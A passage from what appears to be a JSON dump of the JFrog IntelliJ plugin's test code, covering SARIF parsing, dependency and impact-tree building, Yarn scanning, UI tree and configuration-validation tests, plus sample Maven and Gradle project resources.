parsedOutput.get(1).getLineEnd());\n        assertEquals(0, parsedOutput.get(0).getColStart());\n        assertEquals(0, parsedOutput.get(1).getColStart());\n        assertEquals(17, parsedOutput.get(0).getColEnd());\n        assertEquals(73, parsedOutput.get(1).getColEnd());\n    }\n\n    public void testSarifParserWithMissingRole() throws IndexOutOfBoundsException {\n      assertThrows(IndexOutOfBoundsException.class,() -> secretsScanner.parseOutputSarif(FAULTY_OUTPUT));\n    }\n\n    public void testSarifParserApplicResultsWithRulesBasedParsing() throws IOException {\n        List<JFrogSecurityWarning> parsedOutput = scanner.parseOutputSarif(APPLIC_KIND_PASS_AND_FAIL_OUTPUT);\n        assertEquals(2, parsedOutput.size());\n        // Not applicable based on rule properties\n        assertEquals(\"applic_CVE-2022-25878\", parsedOutput.get(0).getRuleID());\n        assertFalse(parsedOutput.get(0).isApplicable());\n        // Applicable based on rule properties, with evidence location from result\n        assertEquals(\"applic_CVE-2022-25978\", parsedOutput.get(1).getRuleID());\n        assertTrue(parsedOutput.get(1).isApplicable());\n    }\n\n\n    public void testSarifParserSkipsInformationalResults() throws IOException {\n        List<JFrogSecurityWarning> parsedOutput = secretsScanner.parseOutputSarif(SECRETS_WITH_INFORMATIONAL_OUTPUT);\n        assertEquals(1, parsedOutput.size());\n        assertEquals(\"REQ.SECRET.GENERIC.TEXT\", parsedOutput.get(0).getRuleID());\n        assertEquals(\"Hardcoded secrets were found\", parsedOutput.get(0).getReason());\n    }\n\n    public void testGetBinaryDownloadURL() {\n        final String externalRepoName = \"test-releases-repo\";\n        final String expectedExternalRepoUrl = \"test-releases-repo/artifactory/xsc-gen-exe-analyzer-manager-local/\";\n        final String expectedNoExternalRepoUrl = \"xsc-gen-exe-analyzer-manager-local/\";\n\n        String actualNoExternalRepoUrl = scanner.getBinaryDownloadURL(null);\n        assertTrue(actualNoExternalRepoUrl.startsWith(expectedNoExternalRepoUrl));\n        String actualExternalRepoUrl = scanner.getBinaryDownloadURL(externalRepoName);\n        assertTrue(actualExternalRepoUrl.startsWith(expectedExternalRepoUrl));\n    }\n\n    private ScansConfig readScansConfigYAML(Path inputPath) throws IOException {\n        ObjectMapper mapper = createYAMLMapper();\n        return mapper.readValue(inputPath.toFile(), ScansConfig.class);\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/scan/ScannerBaseTest.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.deptree.DepTreeNode;\nimport org.junit.Assert;\nimport org.junit.Test;\n\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.Set;\n\npublic class ScannerBaseTest {\n    @Test\n    public void testGetParents() {\n        final String MULTI_DESC_PATH = \"/path/to/project/maven-example/pom.xml\";\n        final String MULTI1_DESC_PATH = \"/path/to/project/maven-example/multi1/pom.xml\";\n        final String MULTI3_DESC_PATH = \"/path/to/project/maven-example/multi3/pom.xml\";\n\n        final String MULTI_COMP_ID = \"org.jfrog.test:multi:3.7.x-SNAPSHOT\";\n        final String MULTI1_COMP_ID = \"org.jfrog.test:multi1:3.7.x-SNAPSHOT\";\n        final String MULTI3_COMP_ID = \"org.jfrog.test:multi3:3.7.x-SNAPSHOT\";\n        final String SPRING_AOP_COMP_ID = \"org.springframework:spring-aop:2.5.6\";\n        final String LOG4J_COMP_ID = \"log4j:log4j:1.2.17\";\n\n        DepTree depTree = new DepTree(MULTI_COMP_ID, new HashMap<>() {{\n            put(MULTI_COMP_ID, new DepTreeNode().descriptorFilePath(MULTI_DESC_PATH).children(Set.of(MULTI1_COMP_ID, MULTI3_COMP_ID, LOG4J_COMP_ID)));\n            put(MULTI1_COMP_ID, new DepTreeNode().descriptorFilePath(MULTI1_DESC_PATH).children(Set.of(LOG4J_COMP_ID)));\n            put(MULTI3_COMP_ID, new DepTreeNode().descriptorFilePath(MULTI3_DESC_PATH).children(Set.of(MULTI1_COMP_ID, LOG4J_COMP_ID, SPRING_AOP_COMP_ID)));\n            put(SPRING_AOP_COMP_ID, new DepTreeNode().children(Set.of()));\n            put(LOG4J_COMP_ID, new DepTreeNode().children(Set.of()));\n        }});\n\n        Map<String, Set<String>> expectedParents = new HashMap<>() {{\n            put(MULTI1_COMP_ID, new HashSet<>() {{\n                add(MULTI_COMP_ID);\n                add(MULTI3_COMP_ID);\n            }});\n            put(MULTI3_COMP_ID, new HashSet<>() {{\n                add(MULTI_COMP_ID);\n            }});\n            put(SPRING_AOP_COMP_ID, new HashSet<>() {{\n                add(MULTI3_COMP_ID);\n            }});\n            put(LOG4J_COMP_ID, new HashSet<>() {{\n                add(MULTI_COMP_ID);\n                add(MULTI1_COMP_ID);\n                add(MULTI3_COMP_ID);\n            }});\n        }};\n        Map<String, Set<String>> actualParents = ScannerBase.getParents(depTree);\n        Assert.assertEquals(expectedParents, actualParents);\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/scan/SingleDescriptorScannerTest.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.intellij.testFramework.fixtures.BasePlatformTestCase;\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.deptree.DepTreeNode;\nimport com.jfrog.ide.common.nodes.DependencyNode;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.nodes.LicenseViolationNode;\nimport com.jfrog.ide.common.nodes.subentities.Severity;\nimport org.junit.Test;\n\nimport java.nio.file.Paths;\nimport java.util.*;\n\npublic class SingleDescriptorScannerTest extends BasePlatformTestCase {\n    public void testGroupDependenciesToDescriptorNodes() {\n        final String ROOT_ID = \"npm-example:0.0.3\";\n        final String ROOT_PATH = Paths.get(\"path\", \"to\", \"project\").toString();\n        final String SEND_COMP_ID = \"send:0.5.0\";\n        final String DEBUG_COMP_ID = \"debug:1.0.2\";\n        final String MS_COMP_ID = \"ms:0.6.2\";\n\n        DepTree depTree = new DepTree(ROOT_ID, new HashMap<>() {{\n            put(ROOT_ID, new DepTreeNode().descriptorFilePath(Paths.get(ROOT_PATH, \"package.json\").toString()).children(Set.of(SEND_COMP_ID, MS_COMP_ID)));\n            put(SEND_COMP_ID, new DepTreeNode().children(Set.of(DEBUG_COMP_ID, MS_COMP_ID)));\n            put(DEBUG_COMP_ID, new DepTreeNode().children(Set.of()));\n            put(MS_COMP_ID, new DepTreeNode().children(Set.of()));\n        }});\n        Map<String, Set<String>> parents = ScannerBase.getParents(depTree);\n        List<DependencyNode> vulnerableDeps = new ArrayList<>() {{\n            add(new DependencyNode() {{\n                addIssue(new LicenseViolationNode(\"\", \"\", null, Severity.High, \"\", null));\n            }}.componentId(\"npm://\" + SEND_COMP_ID));\n            add(new DependencyNode() {{\n                addIssue(new LicenseViolationNode(\"\", \"\", null, Severity.High, \"\", null));\n            }}.componentId(\"npm://\" + DEBUG_COMP_ID));\n            add(new DependencyNode() {{\n                addIssue(new LicenseViolationNode(\"\", \"\", null, Severity.High, \"\", null));\n            }}.componentId(\"npm://\" + MS_COMP_ID));\n        }};\n\n        NpmScanner scanner = new NpmScanner(getProject(), ROOT_PATH, null, null);\n        List<FileTreeNode> fileTreeNodes = scanner.groupDependenciesToDescriptorNodes(vulnerableDeps, depTree, parents);\n        assertEquals(1, fileTreeNodes.size());\n\n        FileTreeNode descriptorNode = fileTreeNodes.get(0);\n        List<DependencyNode> depNodes = descriptorNode.getChildren().stream().map(treeNode -> (DependencyNode) treeNode).toList();\n        assertEquals(3, descriptorNode.getChildren().size());\n\n        DependencyNode sendDepNode = depNodes.stream().filter(depNode -> depNode.getComponentId().equals(\"npm://\" + SEND_COMP_ID)).findFirst().get();\n        assertFalse(sendDepNode.isIndirect());\n        DependencyNode debugDepNode = depNodes.stream().filter(depNode -> depNode.getComponentId().equals(\"npm://\" + DEBUG_COMP_ID)).findFirst().get();\n        assertTrue(debugDepNode.isIndirect());\n        DependencyNode msDepNode = depNodes.stream().filter(depNode -> depNode.getComponentId().equals(\"npm://\" + MS_COMP_ID)).findFirst().get();\n        assertFalse(msDepNode.isIndirect());\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/scan/SourceCodeManagerTest.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport org.junit.Assert;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.junit.runners.Parameterized;\n\nimport java.util.Arrays;\nimport java.util.Collection;\n\nimport static com.jfrog.ide.idea.scan.SourceCodeScannerManager.convertToSkippedFolders;\n\n@RunWith(Parameterized.class)\npublic class SourceCodeManagerTest {\n\n    @Parameterized.Parameters\n    public static Collection<Object[]> data() {\n        return Arrays.asList(new Object[][]{\n                {\"\", new String[]{}},\n                {\"**/*{.idea}*\", new String[]{\"**/*.idea*/**\"}},\n                {\"**/*.idea*\", new String[]{\"**/*.idea*/**\"}},\n                {\"**/*{.idea,test,node_modules}*\", new String[]{\"**/*.idea*/**\", \"**/*test*/**\", \"**/*node_modules*/**\"}},\n        });\n    }\n\n    private final String excludedPaths;\n    private final String[] skipFolders;\n\n    public SourceCodeManagerTest(String excludedPaths, String[] skipFolders) {\n        this.excludedPaths = excludedPaths;\n        this.skipFolders = skipFolders;\n    }\n\n    @Test\n    public void testConvertToSkippedFolders() {\n        Assert.assertArrayEquals(skipFolders, convertToSkippedFolders(excludedPaths).toArray());\n    }\n}\n\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/scan/YarnScannerTest.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.google.common.collect.Sets;\nimport com.intellij.testFramework.HeavyPlatformTestCase;\nimport com.intellij.util.ConcurrencyUtil;\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.nodes.DependencyNode;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.scan.GraphScanLogic;\nimport org.apache.commons.io.FileUtils;\nimport org.jfrog.build.api.util.NullLog;\n\nimport javax.swing.tree.TreeNode;\nimport java.io.IOException;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.*;\nimport java.util.concurrent.ExecutorService;\n\npublic class YarnScannerTest extends HeavyPlatformTestCase {\n    private static final Path YARN_ROOT = Paths.get(\".\").toAbsolutePath().normalize().resolve(Paths.get(\"src\", \"test\", \"resources\", \"yarn\"));\n    private ExecutorService executorService;\n    private String tempProjectDir;\n\n    public enum Project {\n        EXAMPLE(\"exampleYarnPackage\"),\n        MONOREPO(\"exampleYarnMonorepo\");\n\n        private final String name;\n\n        Project(String name) {\n            this.name = name;\n        }\n    }\n\n    @Override\n    protected void setUp() throws Exception {\n        super.setUp();\n        executorService = ConcurrencyUtil.newSameThreadExecutorService();\n    }\n\n\n    @Override\n    protected void tearDown() throws Exception {\n        try {\n            executorService.shutdown();\n        } finally {\n            // Ensure that tearDown gets executed even if an exception is thrown\n            super.tearDown();\n        }\n    }\n\n    private String createTempProjectDir(String projectName) throws IOException {\n        // Using a virtual directory allows each test to have its own isolated workspace, preventing interference between tests.\n        String tempProjectDir = getTempDir().createVirtualDir(projectName).toNioPath().toString();\n        FileUtils.copyDirectory(YARN_ROOT.resolve(projectName).toFile(), FileUtils.getFile(tempProjectDir));\n        return tempProjectDir;\n    }\n\n    public void testGetPackageNameToVersionsMap() throws IOException {\n        tempProjectDir = createTempProjectDir(Project.EXAMPLE.name);\n        YarnScanner yarnScanner = new YarnScanner(getProject(), tempProjectDir, executorService, new GraphScanLogic(new NullLog()));\n        Set<String> packages = new HashSet<>(Arrays.asList(\"package1:1.0.123\", \"package2:2.0.9\", \"package1:1.0.123\", \"package2:2.1.7\"));\n        Map<String, Set<String>> packageNameToVersions = yarnScanner.getPackageNameToVersionsMap(packages);\n\n        assertEquals(2, packageNameToVersions.size());\n        assertTrue(packageNameToVersions.containsKey(\"package1\"));\n        assertTrue(packageNameToVersions.containsKey(\"package2\"));\n        assertFalse(packageNameToVersions.containsKey(\"package3\"));\n\n        assertEquals(Sets.newHashSet(\"1.0.123\"), packageNameToVersions.get(\"package1\"));\n        assertEquals(Sets.newHashSet(\"2.0.9\", \"2.1.7\"), packageNameToVersions.get(\"package2\"));\n    }\n\n    private Map<String, DependencyNode> vulnerableDependenciesMapInit(String[] vulnerableDependencies) {\n        Map<String, DependencyNode> vulnerableDependenciesMap = new HashMap<>();\n        for (String vulnerableDependency : vulnerableDependencies) {\n            DependencyNode dependencyNode = new DependencyNode();\n            dependencyNode.componentId(vulnerableDependency);\n            vulnerableDependenciesMap.put(vulnerableDependency, dependencyNode);\n        }\n        return vulnerableDependenciesMap;\n    }\n\n    private void walkDepTreeCommonTest(String projectName, String rootId, String[] vulnerableDependencies) throws IOException {\n        tempProjectDir = createTempProjectDir(Project.valueOf(projectName).name);\n        YarnScanner yarnScanner = new YarnScanner(getProject(), tempProjectDir, executorService, new GraphScanLogic(new NullLog()));\n\n        // Sanity check - make sure the dependency tree is generated.\n        DepTree depTree = yarnScanner.buildTree();\n        assertNotNull(depTree);\n        assertEquals(depTree.rootId(), rootId);\n\n        // Test the walkDepTree method:\n        Map<String, DependencyNode> vulnerableDependenciesMap = vulnerableDependenciesMapInit(vulnerableDependencies);\n\n        // Run the method\n        List<FileTreeNode> fileTreeNodes = yarnScanner.buildImpactGraph(vulnerableDependenciesMap, depTree);\n\n        // Check there is only one file tree node and it's package.json\n        assertEquals(1, fileTreeNodes.size());\n        assertEquals(\"package.json\", fileTreeNodes.get(0).getTitle());\n\n        // Check the impact graphs is attached to the package.json node.\n        FileTreeNode packageJsonNode = fileTreeNodes.get(0);\n        assertEquals(vulnerableDependencies.length, packageJsonNode.getChildren().size());\n\n        // Check the impact graph correctness.\n        for (TreeNode treeNode : packageJsonNode.getChildren()) {\n            DependencyNode dependencyNode = (DependencyNode) treeNode;\n            boolean isIndirect = dependencyNode.isIndirect();\n            int impactPathsCount = dependencyNode.getImpactTree().getImpactPathsCount();\n            switch (dependencyNode.getComponentId()) {\n                // Handle specific cases for different dependencies\n                case \"axios:1.5.1\" -> {\n                    assertFalse(isIndirect);\n                    assertEquals(3, impactPathsCount);\n                }\n                case \"lodash:4.16.2\" -> {\n                    if (projectName.equals(\"MONOREPO\")) {\n                        assertTrue(isIndirect);\n                        assertEquals(1, impactPathsCount);\n                    } else {\n                        assertFalse(isIndirect);\n                        assertEquals(7, impactPathsCount);\n                    }\n                }\n                case \"cli-table:0.3.1\" -> {\n                    assertFalse(isIndirect);\n                    assertEquals(1, impactPathsCount);\n                }\n                case \"tough-cookie:2.3.1\" -> {\n                    assertTrue(isIndirect);\n                    assertEquals(2, impactPathsCount);\n                }\n                default -> fail(\"Unexpected dependency \" + dependencyNode.getComponentId());\n            }\n        }\n    }\n\n    public void testWalkDepTree() throws IOException {\n        walkDepTreeCommonTest(\"EXAMPLE\", \"example-yarn-package:1.0.0\", new String[]{\"lodash:4.16.2\", \"tough-cookie:2.3.1\"});\n    }\n\n    public void testWalkDepTreeMonorepo() throws IOException {\n        walkDepTreeCommonTest(\"MONOREPO\", \"example-monorepo:1.0.0\", new String[]{\"lodash:4.16.2\", \"axios:1.5.1\", \"cli-table:0.3.1\"});\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/scan/utils/ImpactTreeBuilderTest.java",
    "content": "package com.jfrog.ide.idea.scan.utils;\n\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.deptree.DepTreeNode;\nimport com.jfrog.ide.common.nodes.DependencyNode;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.nodes.LicenseViolationNode;\nimport com.jfrog.ide.common.nodes.subentities.ImpactTree;\nimport com.jfrog.ide.common.nodes.subentities.ImpactTreeNode;\nimport com.jfrog.ide.common.nodes.subentities.Severity;\nimport org.junit.Assert;\nimport org.junit.Test;\n\nimport java.util.*;\n\npublic class ImpactTreeBuilderTest {\n    private final String MULTI_DESC_PATH = \"/path/to/project/maven-example/pom.xml\";\n    private final String MULTI1_DESC_PATH = \"/path/to/project/maven-example/multi1/pom.xml\";\n    private final String MULTI3_DESC_PATH = \"/path/to/project/maven-example/multi3/pom.xml\";\n\n    private final String MULTI_COMP_ID = \"org.jfrog.test:multi:3.7.x-SNAPSHOT\";\n    private final String MULTI1_COMP_ID = \"org.jfrog.test:multi1:3.7.x-SNAPSHOT\";\n    private final String MULTI3_COMP_ID = \"org.jfrog.test:multi3:3.7.x-SNAPSHOT\";\n    private final String SPRING_AOP_COMP_ID = \"org.springframework:spring-aop:2.5.6\";\n    private final String SPRING_CORE_COMP_ID = \"org.springframework:spring-core:2.5.6\";\n    private final String LOG4J_COMP_ID = \"log4j:log4j:1.2.17\";\n\n    private Map<String, Set<String>> parents = new HashMap<>() {{\n        put(MULTI1_COMP_ID, new HashSet<>() {{\n            add(MULTI_COMP_ID);\n            add(MULTI3_COMP_ID);\n        }});\n        put(MULTI3_COMP_ID, new HashSet<>() {{\n            add(MULTI_COMP_ID);\n        }});\n        put(SPRING_AOP_COMP_ID, new HashSet<>() {{\n            add(MULTI3_COMP_ID);\n        }});\n        put(SPRING_CORE_COMP_ID, new HashSet<>() {{\n            add(SPRING_AOP_COMP_ID);\n        }});\n        put(LOG4J_COMP_ID, new HashSet<>() {{\n            add(MULTI_COMP_ID);\n            add(MULTI1_COMP_ID);\n            add(MULTI3_COMP_ID);\n        }});\n    }};\n    private ImpactTree log4jImpactTree = new ImpactTree(new ImpactTreeNode(MULTI_COMP_ID) {{\n        getChildren().add(new ImpactTreeNode(LOG4J_COMP_ID));\n        getChildren().add(new ImpactTreeNode(MULTI1_COMP_ID) {{\n            getChildren().add(new ImpactTreeNode(LOG4J_COMP_ID));\n        }});\n        getChildren().add(new ImpactTreeNode(MULTI3_COMP_ID) {{\n            getChildren().add(new ImpactTreeNode(LOG4J_COMP_ID));\n            getChildren().add(new ImpactTreeNode(MULTI1_COMP_ID) {{\n                getChildren().add(new ImpactTreeNode(LOG4J_COMP_ID));\n            }});\n        }});\n    }});\n    private ImpactTree springAopImpactTree = new ImpactTree(new ImpactTreeNode(MULTI_COMP_ID) {{\n        getChildren().add(new ImpactTreeNode(MULTI3_COMP_ID) {{\n            getChildren().add(new ImpactTreeNode(SPRING_AOP_COMP_ID));\n        }});\n    }});\n\n    @Test\n    public void testBuildImpactTrees() {\n        Map<String, DependencyNode> vulnerableDeps = new HashMap<>() {{\n            put(LOG4J_COMP_ID, new DependencyNode() {{\n                addIssue(new LicenseViolationNode(\"\", \"\", null, Severity.High, \"\", null));\n            }}.componentId(\"gav://\" + LOG4J_COMP_ID));\n            put(SPRING_AOP_COMP_ID, new DependencyNode() {{\n                addIssue(new LicenseViolationNode(\"\", \"\", null, Severity.High, \"\", null));\n            }}.componentId(\"gav://\" + SPRING_AOP_COMP_ID));\n        }};\n        ImpactTreeBuilder.populateImpactTrees(vulnerableDeps, parents, MULTI_COMP_ID);\n\n        assertImpactTree(log4jImpactTree, vulnerableDeps.get(LOG4J_COMP_ID).getImpactTree());\n        assertImpactTree(springAopImpactTree, vulnerableDeps.get(SPRING_AOP_COMP_ID).getImpactTree());\n    }\n\n    @Test\n    public void testAddImpactPathToDependencyNode() {\n        DependencyNode depNode = new DependencyNode();\n        ImpactTreeBuilder.addImpactPathToDependencyNode(depNode, List.of(MULTI_COMP_ID, LOG4J_COMP_ID));\n        ImpactTreeBuilder.addImpactPathToDependencyNode(depNode, List.of(MULTI_COMP_ID, MULTI1_COMP_ID, LOG4J_COMP_ID));\n        ImpactTreeBuilder.addImpactPathToDependencyNode(depNode, List.of(MULTI_COMP_ID, MULTI3_COMP_ID, LOG4J_COMP_ID));\n        ImpactTreeBuilder.addImpactPathToDependencyNode(depNode, List.of(MULTI_COMP_ID, MULTI3_COMP_ID, MULTI1_COMP_ID, LOG4J_COMP_ID));\n        assertImpactTree(log4jImpactTree, depNode.getImpactTree());\n    }\n\n    private static void assertImpactTree(ImpactTree expected, ImpactTree actual) {\n        assertImpactTreeNode(expected.getRoot(), actual.getRoot());\n    }\n\n    private static void assertImpactTreeNode(ImpactTreeNode expected, ImpactTreeNode actual) {\n        Assert.assertEquals(expected.getName(), actual.getName());\n        Assert.assertEquals(expected.getChildren().size(), actual.getChildren().size());\n        expected.getChildren().forEach(expectedNode -> {\n            ImpactTreeNode actualNode = actual.getChildren().stream().filter(actualImpactTreeNode -> actualImpactTreeNode.getName().equals(expectedNode.getName())).findFirst().get();\n            assertImpactTreeNode(actualNode, expectedNode);\n        });\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/ui/LocalComponentsTreeTest.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.testFramework.EdtTestUtil;\nimport com.intellij.testFramework.HeavyPlatformTestCase;\nimport com.jfrog.ide.common.nodes.*;\nimport com.jfrog.ide.common.nodes.subentities.Severity;\n\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.concurrent.atomic.AtomicReference;\n\npublic class LocalComponentsTreeTest extends HeavyPlatformTestCase {\n    public void testAddScanResults() {\n        LocalComponentsTree tree = LocalComponentsTree.getInstance(getProject());\n        List<FileTreeNode> nodes1 = List.of(\n                createFileTreeNodeWithIssue(\"path/to/file1.txt\", \"issue1\"),\n                createFileTreeNodeWithIssue(\"path/to/file2.txt\", \"issue2\")\n        );\n\n        ApplicationManager.getApplication().invokeAndWait(() -> tree.doAddScanResults(nodes1));\n        assertEquals(2, getTreeFileNodes(tree).size());\n        List<FileTreeNode> nodes2 = List.of(\n                createFileTreeNodeWithIssue(\"path/to/file1.txt\", \"issue3\"),\n                createFileTreeNodeWithIssue(\"path/to/file3.txt\", \"issue4\")\n        );\n        ApplicationManager.getApplication().invokeAndWait(() -> tree.doAddScanResults(nodes2));\n        List<FileTreeNode> actualNodes = getTreeFileNodes(tree);\n        assertEquals(3, actualNodes.size());\n        FileTreeNode file1Node = actualNodes.stream().filter(fileTreeNode -> fileTreeNode.getFilePath().equals(\"path/to/file1.txt\")).findFirst().get();\n        assertEquals(2, file1Node.getChildren().size());\n    }\n\n    private FileTreeNode createFileTreeNodeWithIssue(String filePath, String... issueNames) {\n        FileTreeNode fileNode = new FileTreeNode(filePath);\n        for (String issueName : issueNames) {\n            SastIssueNode issueNode = new SastIssueNode(issueName, \"filePath\", 1, 1, 1, 1, \"reason\", \"lineSnippet\", null, Severity.High, \"ruleID\");\n            fileNode.addIssue(issueNode);\n        }\n        return fileNode;\n    }\n\n    private List<FileTreeNode> getTreeFileNodes(LocalComponentsTree tree) {\n        SortableChildrenTreeNode root = (SortableChildrenTreeNode) tree.getModel().getRoot();\n        return (List<FileTreeNode>) (List<?>) Collections.list(root.children());\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/ui/configuration/ConfigVerificationUtilsNegativeTest.java",
    "content": "package com.jfrog.ide.idea.ui.configuration;\n\nimport com.intellij.openapi.options.ConfigurationException;\nimport com.jfrog.ide.common.configuration.ServerConfig;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.junit.runners.Parameterized;\n\nimport java.util.Arrays;\nimport java.util.Collection;\n\nimport static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.validateGlobalConfig;\n\n/**\n * @author yahavi\n **/\n@RunWith(Parameterized.class)\npublic class ConfigVerificationUtilsNegativeTest {\n\n    @Parameterized.Parameters\n    public static Collection<Object[]> data() {\n        return Arrays.asList(new Object[][]{\n                {\"\", ServerConfig.PolicyType.VULNERABILITIES, \"bad project\", \"\"},\n                {\"\", ServerConfig.PolicyType.PROJECT, \"\", \"\"},\n                {\"\", ServerConfig.PolicyType.PROJECT, \"bad@project\", \"\"},\n                {\"\", ServerConfig.PolicyType.PROJECT, \"bad project\", \"\"},\n                {\"\", ServerConfig.PolicyType.WATCHES, \"\", \"\"},\n                {\"\", ServerConfig.PolicyType.WATCHES, \"project\", \"watch 1\"},\n                {\"\", ServerConfig.PolicyType.WATCHES, \"\", \"watch#1,watch-2\"},\n                {\"\", ServerConfig.PolicyType.WATCHES, \"\", \",watch-1,watch-2\"},\n                {\"\", ServerConfig.PolicyType.WATCHES, \"\", \"watch-1,watch-2,\"},\n                {\"bad pattern *\", ServerConfig.PolicyType.WATCHES, \"\", \"\"},\n                {\"**/*{bad pattern}\", ServerConfig.PolicyType.WATCHES, \"\", \"\"},\n                {\"**/*{bad,pattern*\", ServerConfig.PolicyType.VULNERABILITIES, \"\", \"\"},\n                {\"**/*{bad,pattern}a{b,c}*\", ServerConfig.PolicyType.VULNERABILITIES, \"\", \"\"},\n                {\"**/*{bad,pattern}*a{b,c}*\", ServerConfig.PolicyType.VULNERABILITIES, \"\", \"\"},\n                {\"**/*{{}*\", ServerConfig.PolicyType.VULNERABILITIES, \"\", \"\"},\n        });\n    }\n\n    private final String excludedPaths;\n    private final ServerConfig.PolicyType policyType;\n    private final String project;\n    private final String watches;\n\n    public ConfigVerificationUtilsNegativeTest(String excludedPaths, ServerConfig.PolicyType policyType, String project, String watches) {\n        this.excludedPaths = excludedPaths;\n        this.policyType = policyType;\n        this.project = project;\n        this.watches = watches;\n    }\n\n    @Test(expected = ConfigurationException.class)\n    public void testValidateGlobalConfig() throws ConfigurationException {\n        validateGlobalConfig(excludedPaths, policyType, project, watches);\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/ui/configuration/ConfigVerificationUtilsPositiveTest.java",
    "content": "package com.jfrog.ide.idea.ui.configuration;\n\nimport com.intellij.openapi.options.ConfigurationException;\nimport com.jfrog.ide.common.configuration.ServerConfig;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.junit.runners.Parameterized;\n\nimport java.util.Arrays;\nimport java.util.Collection;\n\nimport static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.validateGlobalConfig;\n\n/**\n * @author yahavi\n **/\n@RunWith(Parameterized.class)\npublic class ConfigVerificationUtilsPositiveTest {\n\n    @Parameterized.Parameters\n    public static Collection<Object[]> data() {\n        return Arrays.asList(new Object[][]{\n                {\"\",ServerConfig.PolicyType.VULNERABILITIES, \"\", \"\"},\n                {\"\",ServerConfig.PolicyType.PROJECT, \"project\", \"\"},\n                {\"\",ServerConfig.PolicyType.WATCHES, \"project\", \"watch-1\"},\n                {\"\",ServerConfig.PolicyType.WATCHES, \"\", \"watch-1,watch-2\"},\n                {\"**/*{.idea, test, node_modules}*\",ServerConfig.PolicyType.VULNERABILITIES, \"\", \"\"},\n                {\"**/*test*\",ServerConfig.PolicyType.VULNERABILITIES, \"\", \"\"},\n\n        });\n    }\n\n    private final String excludedPaths;\n    private final ServerConfig.PolicyType policyType;\n    private final String project;\n    private final String watches;\n\n    public ConfigVerificationUtilsPositiveTest(String excludedPaths, ServerConfig.PolicyType policyType, String project, String watches) {\n        this.excludedPaths = excludedPaths;\n        this.policyType = policyType;\n        this.project = project;\n        this.watches = watches;\n    }\n\n    @Test\n    public void testValidateGlobalConfig() throws ConfigurationException {\n        validateGlobalConfig(excludedPaths, policyType, project, watches);\n    }\n}\n"
  },
  {
    "path": "src/test/resources/exclusion/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0          http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>group-id-0</groupId>\n    <artifactId>artifact-id-0</artifactId>\n    <version>version-0</version>\n    <packaging>pom</packaging>\n    <name>Simple Multi Modules Build</name>\n\n    <dependencies>\n        <dependency>\n            <groupId>group-id-1</groupId>\n            <artifactId>artifact-id-1</artifactId>\n            <version>version-1</version>\n        </dependency>\n        <dependency>\n            <groupId>group-id-2</groupId>\n            <artifactId>artifact-id-2</artifactId>\n            <version>version-2</version>\n            <exclusions>\n                <exclusion>\n                    <groupId>group-id-3</groupId>\n                    <artifactId>artifact-id-3</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n    </dependencies>\n\n</project>\n"
  },
  {
    "path": "src/test/resources/gradle/global/api/build.gradle",
    "content": "configurations {\n    spi\n}\n\ndependencies {\n    implementation project(':shared')\n    implementation module(\"commons-lang:commons-lang:2.4\") {\n        dependency(\"commons-io:commons-io:1.2\")\n    }\n    implementation group: 'org.apache.wicket', name: 'wicket', version: '1.3.7'\n\n}\n\n// Just a smoke test that using this option does not lead to any exception\ncompileJava.options.compilerArgs = ['-Xlint:unchecked']\n"
  },
  {
    "path": "src/test/resources/gradle/global/api/src/main/java/org/gradle/api/PersonList.java",
    "content": "/*\n * Copyright (C) 2011 JFrog Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.gradle.api;\n\nimport org.gradle.apiImpl.Impl;\nimport org.gradle.shared.Person;\n\nimport java.util.ArrayList;\n\n\npublic class PersonList {\n    private ArrayList<Person> persons = new ArrayList<Person>();\n\n    public void doSomethingWithImpl() {\n        org.apache.commons.lang.builder.ToStringBuilder stringBuilder;\n        try {\n            Class.forName(\"org.apache.commons.io.FileUtils\");\n        } catch (ClassNotFoundException e) {\n            throw new RuntimeException(e);\n        }\n        new 